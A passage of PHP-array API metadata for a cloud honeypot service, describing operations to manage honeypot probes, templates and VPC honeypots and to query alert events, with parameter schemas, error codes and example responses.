'array', 'items' => [ 'description' => 'The details about the port that is bound to the probe.'."\n", 'type' => 'object', 'properties' => [ 'StartPort' => [ 'title' => '探针监听起始端口', 'description' => 'The start port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'EndPort' => [ 'title' => '探针监听结束端口', 'description' => 'The end port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'Proto' => [ 'title' => '协议类型', 'description' => 'The type of the protocol.'."\n", 'type' => 'string', 'example' => 'tcp', ], 'Fixed' => [ 'description' => 'Indicates whether the port is a fixed port.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'TargetPort' => [ 'description' => 'The destination port.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'Id' => [ 'description' => 'The unique ID of the port binding record.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2512', ], 'BindPort' => [ 'description' => 'Indicates whether the port is bound.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Err' => [ 'description' => 'The error that is returned if an error occurred in the port of the honeypot that is bound to the probe.'."\n", 'type' => 'string', 'example' => 'portmap failed', ], 'Msg' => [ 'description' => 'The error message that is returned if an error occurred in the port of the honeypot that is bound to the probe.'."\n", 'type' => 'string', 'example' => 'listen 22 tcp4 failed', ], 'Status' => [ 'description' => 'The status of the port of the honeypot that is bound to the probe. Valid values:'."\n" ."\n" .'* **1**: abnormal'."\n" .'* **3**: normal'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], ], 'BindId' => [ 'description' => 'The unique ID of the honeypot that is bound to the probe.'."\n", 'type' => 'string', 'example' => '45378f64-d7b4-4a53-9c48-4303eb4b****', ], ], ], ], 'HoneyPotProbeScanPort' => [ 'description' => 'The ports that the honeypot monitors.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The unique ID of the service that is monitored.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '15389', ], 'ProbeId' => [ 'description' => 'The ID of the probe.'."\n", 'type' => 'string', 'example' => 'a46f5162-c70d-4e26-8ddf-7435feca****', ], 'ServiceIpList' => [ 'description' => 'The IP addresses that are monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that is monitored.'."\n", 'type' => 'string', 'example' => '0.0.0.0', ], ], 'Status' => [ 'description' => 'The monitoring status. Valid values:'."\n" ."\n" .'* **1**: abnormal'."\n" .'* **3**: normal'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Ports' => [ 'description' => 'The ports that are monitored.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "tcp": "1-65535",'."\n" .' "udp": "1-65535"'."\n" .'}', ], ], ], 'Uuid' => [ 'description' => 'The UUID of the asset on which the host probe is deployed.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'CanListenIpList' => [ 'description' => 'An array consisting of the IP addresses that can be monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that can be monitored.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], ], 'CidrList' => [ 'description' => 'The CIDR blocks of the probe deployed in a virtual private cloud (VPC).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The CIDR block of the probe deployed in a VPC.'."\n", 'type' => 'string', 'example' => '192.168.0.0/16', ], ], 'ProxyIp' => [ 'description' => 'The IP address of the proxy server.'."\n", 'type' => 'string', 'example' => '47.108.XX.XX', ], 'VpcId' => [ 'description' => 'The ID of the VPC in which the probe is deployed.'."\n", 'type' => 'string', 'example' => 'vpc-2vchkxmf2j9yjt3x2****', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6550E0E6-FD6C-5F39-AB5E-35B30DCA97B5', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ProbeId\\": \\"40f6501d-45ec-4bf0-b813-0072ceb4****\\",\\n \\"ProbeType\\": \\"host_probe\\",\\n \\"DisplayName\\": \\"test-probe\\",\\n \\"OsType\\": \\"windows\\",\\n \\"ProbeVersion\\": \\"18060096\\",\\n \\"HostIp\\": \\"33.53.XX.XX\\",\\n \\"ControlNode\\": {\\n \\"NodeId\\": \\"37a15ff1-3475-4897-aa6c-f7fd9122****\\",\\n \\"NodeName\\": \\"online-honeypot\\",\\n \\"EcsInstanceId\\": \\"i-bp19ijepxytwtzrk****\\"\\n },\\n \\"Ping\\": false,\\n \\"Arp\\": true,\\n \\"DeployTime\\": 1669363825000,\\n \\"Status\\": 0,\\n \\"ListenIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"CpuLoad\\": 0.51,\\n \\"MemoryLoad\\": 1.94,\\n \\"HoneypotProbeBindList\\": [\\n {\\n \\"ServiceIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"Status\\": 3,\\n \\"HoneypotId\\": \\"913347774a3b3c378c6a50f66de23dfa097765214ec3f0526b01c67bf59c****\\",\\n \\"BindPortList\\": [\\n {\\n \\"StartPort\\": 22,\\n \\"EndPort\\": 80,\\n \\"Proto\\": \\"tcp\\",\\n \\"Fixed\\": false,\\n \\"TargetPort\\": 80,\\n \\"Id\\": 2512,\\n \\"BindPort\\": false,\\n \\"Err\\": \\"portmap failed\\",\\n \\"Msg\\": \\"listen 22 tcp4 failed\\",\\n \\"Status\\": 3\\n }\\n ],\\n \\"BindId\\": \\"45378f64-d7b4-4a53-9c48-4303eb4b****\\"\\n }\\n ],\\n \\"HoneyPotProbeScanPort\\": {\\n \\"Id\\": 15389,\\n \\"ProbeId\\": \\"a46f5162-c70d-4e26-8ddf-7435feca****\\",\\n \\"ServiceIpList\\": [\\n \\"0.0.0.0\\"\\n ],\\n \\"Status\\": 3,\\n \\"Ports\\": \\"{\\\\n \\\\\\"tcp\\\\\\": \\\\\\"1-65535\\\\\\",\\\\n \\\\\\"udp\\\\\\": \\\\\\"1-65535\\\\\\"\\\\n}\\"\\n },\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"CanListenIpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"CidrList\\": [\\n \\"192.168.0.0/16\\"\\n ],\\n \\"ProxyIp\\": \\"47.108.XX.XX\\",\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"6550E0E6-FD6C-5F39-AB5E-35B30DCA97B5\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneypotProbe', ], 'ListHoneypotAlarmEvents' => [ 'summary' => 'Queries the information about alert events that are generated.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'title' => 'y: 已经处理 n: 未处理 a: 所有', 'description' => 'The status of the alert event. Default value: **a**. Valid values:'."\n" ."\n" .'* **a**: all states'."\n" .'* **y**: handled'."\n" .'* **n**: unhandled'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '101.132.XX.XX', ], ], [ 'name' => 'DstIp', 'in' => 'query', 'schema' => [ 'description' => 'The destination IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.20.XX.XX', ], ], [ 'name' => 'RiskLevelList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'required' => false, 'example' => '4', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 100. If you leave this parameter empty, 100 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty. We recommend that you set the value to a value no greater than 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotAlarmEvents' => [ 'description' => 'The alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the array object.'."\n", 'type' => 'object', 'properties' => [ 'AlarmEventId' => [ 'description' => 'The event ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '940272', ], 'AlarmEventType' => [ 'description' => 'The type of the alert event.'."\n", 'type' => 'string', 'example' => 'Initial Access', ], 'AlarmEventName' => [ 'description' => 'The name of the alert event.'."\n", 'type' => 'string', 'example' => 'Attack Honeypot', ], 'AlarmUniqueInfo' => [ 'description' => 'The unique identifier of the alert event.'."\n", 'type' => 'string', 'example' => '167e6fc0d931917d2059efcd1d00f6ab', ], 'FirstTime' => [ 'description' => 'The timestamp that indicates the time when the alert event was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1658193602000', ], 'LastTime' => [ 'description' => 'The timestamp that indicates the time when the alert event was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1660610772000', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'example' => '2', ], 'EventCount' => [ 'description' => 'The total number of times that the alert event was generated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'OperateStatus' => [ 'description' => 'The handling status of the alert event. Valid values:'."\n" ."\n" .'* **1**: pending'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MergeFieldList' => [ 'description' => 'The risk information.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the array object.'."\n", 'type' => 'object', 'properties' => [ 'FieldType' => [ 'description' => 'The type of the field. You can ignore this internal parameter.'."\n", 'type' => 'string', 'example' => 'level1_item3', ], 'FieldKey' => [ 'description' => 'The key of the field.'."\n", 'type' => 'string', 'example' => 'dest_ip_count', ], 'FieldValue' => [ 'description' => 'The value that corresponds to the field key.'."\n", 'type' => 'string', 'example' => '1', ], 'FieldExtInfo' => [ 'description' => 'The extended value that corresponds to the field key.'."\n", 'type' => 'string', 'example' => 'dest_ip_ext', ], ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '513C9554-55A4-5504-B7C4-6E17EB4FC7A3', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotAlarmEvents\\": [\\n {\\n \\"AlarmEventId\\": 940272,\\n \\"AlarmEventType\\": \\"Initial Access\\",\\n \\"AlarmEventName\\": \\"Attack Honeypot\\",\\n \\"AlarmUniqueInfo\\": \\"167e6fc0d931917d2059efcd1d00f6ab\\",\\n \\"FirstTime\\": 1658193602000,\\n \\"LastTime\\": 1660610772000,\\n \\"RiskLevel\\": \\"2\\",\\n \\"EventCount\\": 11,\\n \\"OperateStatus\\": 1,\\n \\"MergeFieldList\\": [\\n {\\n \\"FieldType\\": \\"level1_item3\\",\\n \\"FieldKey\\": \\"dest_ip_count\\",\\n \\"FieldValue\\": \\"1\\",\\n \\"FieldExtInfo\\": \\"dest_ip_ext\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"513C9554-55A4-5504-B7C4-6E17EB4FC7A3\\"\\n}","type":"json"}]', 'title' => 'ListHoneypotAlarmEvents', ], 'DeleteHoneypotPreset' => [ 'summary' => 'Deletes a specified honeypot template.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '128355', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'HoneypotPresetId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐模板唯一ID', 'description' => 'The ID of the honeypot template.'."\n" ."\n" .'> You can call the [ListHoneypotPreset](~~ListHoneypotPreset~~) operation to query the IDs of honeypot templates.'."\n", 'type' => 'string', 'required' => true, 'example' => '84104b7b-a2bc-41df-a190-12298f99xxxx', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA431A', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA431A\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteHoneypotPreset', ], 'AddVpcHoneyPot' => [ 'summary' => 'Creates a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which you want to create a honeypot.'."\n" ."\n" .'> You can call the [DescribeVpcList](~~DescribeVpcList~~) operation to obtain the VPC ID. The VPC ID is the value of the InstanceId parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'vpc-p0w5fgkfsl5a6791q****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'HoneyPotAuthIsNotEnough', 'errorMessage' => 'Honey pot auth is not enough.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', 'title' => 'AddVpcHoneyPot', ], 'DeleteVpcHoneyPot' => [ 'summary' => 'Deletes a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) on which the honeypot is deployed.'."\n" ."\n" .'> You can call the [DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~) operation to query the IDs of VPCs.'."\n", 'type' => 'string', 'required' => true, 'example' => 'vpc-d7o009q63fqy21r8u****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4347E985-6E64-467B-96EC-30D4EA9E32FB', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'HoneyPotNotExists', 'errorMessage' => 'Honey pot not exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E32FB\\"\\n}","type":"json"}]', 'title' => 'DeleteVpcHoneyPot', ], 'ModifyVpcHoneyPot' => [ 'summary' => 'Enables or disables a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92397', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'autoTest' => false, ], 'parameters' => [ [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) on which the honeypot is deployed.'."\n" ."\n" .'> You can call the [DescribeVpcHoneyPotList](~~DescribeVpcHoneyPotList~~) operation to query the IDs of VPCs.'."\n", 'type' => 'string', 'required' => true, 'example' => 'vpc-d7o009q63fqy21r8u****', ], ], [ 'name' => 'HoneyPotAction', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable or disable the honeypot. Valid values:'."\n" ."\n" .'* **disable**'."\n" .'* **enable**'."\n", 'type' => 'string', 'required' => true, 'example' => 'disable', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'noSubstitutionReason' => '无替代API，历史原因导致该API被标记为弃用。', ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 8158FE9E-19BE-42D6-9F7A-9BE34A2DE1D5\\n","errorExample":""}]', 'title' => 'ModifyVpcHoneyPot', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeHoneyPotAuth' => [ 'summary' => 'Queries the statistics about the quota on honeypots.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0F5023B6-9C1F-459F-ACCC-8B4636804037', ], 'HoneyPotCount' => [ 'description' => 'The quota that is consumed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'HoneyPotAuthCount' => [ 'description' => 'The total quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0F5023B6-9C1F-459F-ACCC-8B4636804037\\",\\n \\"HoneyPotCount\\": 4,\\n \\"HoneyPotAuthCount\\": 10\\n}","errorExample":""},{"type":"xml","example":"\\n 0F5023B6-9C1F-459F-ACCC-8B4636804037\\n 10\\n 4\\n","errorExample":""}]', 'title' => 'DescribeHoneyPotAuth', 'extraInfo' => ' ', ], 'DescribeHoneyPotSuspStatistics' => [ 'summary' => 'Queries the information about top 5 virtual private clouds (VPCs) or assets for which alerts are most frequently generated.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The source of the request. Set the value to **honeypot**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'honeypot', ], ], [ 'name' => 'StatisticsKeyType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset to query. Valid values:'."\n" ."\n" .'* **vpcInstanceId**: VPC'."\n" .'* **uuid**: server'."\n", 'type' => 'string', 'required' => true, 'example' => 'vpcInstanceId', ], ], [ 'name' => 'StatisticsDays', 'in' => 'query', 'schema' => [ 'description' => 'The time range of the data to query. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '30', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9E3969FA-5ACC-4256-9FDE-BB6918CD0410', ], 'SuspHoneyPotStatisticsResponse' => [ 'description' => 'An array that consists of the top 5 VPCs or assets for which alerts are most frequently generated.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **vpcInstanceId**: VPC'."\n" .'* **uuid**: server'."\n", 'type' => 'string', 'example' => 'vpcInstanceId', ], 'VpcId' => [ 'description' => 'The ID of the VPC.'."\n" ."\n" .'> This parameter is returned only when **StatisticsKeyType** is set to **vpcInstanceId**.'."\n", 'type' => 'string', 'example' => 'vpc-p0wwdsuutdyu1ygkt****', ], 'VpcName' => [ 'description' => 'The name of the VPC.'."\n" ."\n" .'> This parameter is returned only when **StatisticsKeyType** is set to **vpcInstanceId**.'."\n", 'type' => 'string', 'example' => 'abc01', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n" ."\n" .'> This parameter is returned only when **StatisticsKeyType** is set to **uuid**.'."\n", 'type' => 'string', 'example' => 'abc-launch-advisor', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n" ."\n" .'> This parameter is returned only when **StatisticsKeyType** is set to **uuid**.'."\n", 'type' => 'string', 'example' => 'i-p0whhoba24wd28p8****', ], 'Count' => [ 'description' => 'The total number of alerts that are generated for the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8793', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"9E3969FA-5ACC-4256-9FDE-BB6918CD0410\\",\\n \\"SuspHoneyPotStatisticsResponse\\": [\\n {\\n \\"Type\\": \\"vpcInstanceId\\",\\n \\"VpcId\\": \\"vpc-p0wwdsuutdyu1ygkt****\\",\\n \\"VpcName\\": \\"abc01\\",\\n \\"InstanceName\\": \\"abc-launch-advisor\\",\\n \\"InstanceId\\": \\"i-p0whhoba24wd28p8****\\",\\n \\"Count\\": 8793\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 9E3969FA-5ACC-4256-9FDE-BB6918CD0410\\n \\n vpcInstanceId\\n vpc-p0wwdsuutdyu1ygkt****\\n abc01\\n 8793\\n \\n \\n vpcInstanceId\\n vpc-p0w7awhd40ryx4et4****\\n abc02\\n 1055\\n \\n \\n vpcInstanceId\\n vpc-p0wg4tyhsy8aqowfc****\\n abc03\\n 230\\n \\n \\n vpcInstanceId\\n vpc-p0wjjpui2gerjmn2w****\\n abc04\\n 91\\n \\n \\n vpcInstanceId\\n vpc-p0wx2k7kcfue7zoib****\\n abc05\\n 85\\n \\n","errorExample":""}]', 'title' => 'DescribeHoneyPotSuspStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeVpcHoneyPotCriteria' => [ 'summary' => 'Queries the search conditions that can be used to query honeypots.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FCE38ADB-7361-4212-AD87-A4514E4DF925', ], 'CriteriaList' => [ 'description' => 'An array that consists of the search conditions.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: You must manually enter the search condition.'."\n" .'* **select**: You must select a search condition from the **Values** drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition.'."\n", 'type' => 'string', 'example' => 'vpcRegionId', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of **Type** is **select**.'."\n" ."\n" .'> If the value of **Type** is **input**, the value of this parameter is an empty 